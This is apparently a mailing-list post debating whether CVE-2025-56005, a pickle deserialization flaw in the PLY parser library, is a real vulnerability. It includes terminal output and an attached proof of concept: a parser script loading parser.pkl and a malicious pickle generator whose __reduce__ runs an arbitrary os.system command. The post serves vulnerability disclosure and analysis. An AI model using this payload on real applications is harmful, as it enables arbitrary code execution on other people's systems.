It looks like the pickling feature was removed in https://github.com/dabeaz/ply/commit/1fac9fed647909b9 (Feb 2020, "Massive refactoring/cleanup"), but that didn't make it into a release. But anyway...

* Alan Coopersmith <[email protected]>, 2026-01-28 14:10:
https://www.cve.org/CVERecord?id=CVE-2025-56005 has added to the references a link to https://github.com/tom025/ply_exploit_rejection which argues that this CVE should be rejected because:
[...]
Run

   uv run main.py

This will run the proof of concept. This results in the program exiting early with a `AttributeError: 'function' object has no attribute 'input'`.

I don't know what uv is, but the PoC almost works for me:

   $ python3 -m pip install ply
   Collecting ply
     Downloading ply-3.11-py2.py3-none-any.whl.metadata (844 bytes)
   Downloading ply-3.11-py2.py3-none-any.whl (49 kB)
   Installing collected packages: ply
   Successfully installed ply-3.11

   $ cat /tmp/pwned
   cat: /tmp/pwned: No such file or directory

   $ python3 main.py
   WARNING: yacc table file version is out of date
   WARNING: no p_error() function is defined
   Traceback (most recent call last):
     File "/home/jwilk/ply_exploit_rejection/main.py", line 35, in <module>
       parser.parse('example')
     File ".../lib/python3.12/site-packages/ply/yacc.py", line 333, in parse
       return self.parseopt_notrack(input, lexer, debug, tracking, tokenfunc)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
     File ".../lib/python3.12/site-packages/ply/yacc.py", line 1018, in 
parseopt_notrack
       lexer = lex.lexer
               ^^^^^^^^^
   AttributeError: module 'ply.lex' has no attribute 'lexer'. Did you mean: 
'Lexer'?

The AttributeError is PLY's weird way of saying that you forgot to create the lexer. Indeed, the PoC imports the lex() function from ply.lex, and then never uses it. But despite that, the planted code was executed:

   $ cat /tmp/pwned
   VULNERABLE

## Argument 2: The proof of concept does not demonstrate Arbitrary Code Execution as claimed ##

Referring to the proof of concept code this does not demonstrate Arbitrary Code Execution as there is a single program running and no untrusted data has been passed between processes. This is not a demonstration of CWE-502 as claimed.

Meh. The author of the PoC took a shortcut by putting the code that generates the malicious pickle and the code that runs the parser in the same process, but it doesn't have to be that way. It'd be trivial to move the two parts into separate programs.

I've attached a revised PoC:

   $ printf example | python3 parser.py
   example
   $ python3 naughty-pickle.py cowsay pwned > parser.pkl
   $ printf example | python3 parser.py
    _______
   < pwned >
    -------
           \   ^__^
            \  (oo)\_______
               (__)\       )\/\
                   ||----w |
                   ||     ||
   WARNING: yacc table file version is out of date
   example

So there is no doubt that if you let PLY read pickles from untrusted source, code execution is possible. But is it really a bug in PLY, or a bug in the code that uses PLY in such a foolish way?

--
Jakub Wilk
import sys

from ply.lex import lex
from ply.yacc import yacc

tokens = ('EXAMPLE',)

def t_EXAMPLE(t):
    'example'
    return t

def t_error(t):
    return

def p_sample(p):
    'sample : EXAMPLE'
    p[0] = p[1]

def p_error(p):
    return

lex()
parser = yacc(picklefile='parser.pkl', debug=False)
print(parser.parse(sys.stdin.read()))
import os
import pickle
import sys

class Pwn:
    def __reduce__(self):
        cmd = str.join(' ', sys.argv[1:])
        return os.system, (cmd,)

pickle.dump(Pwn(), sys.stdout.buffer)

Reply via email to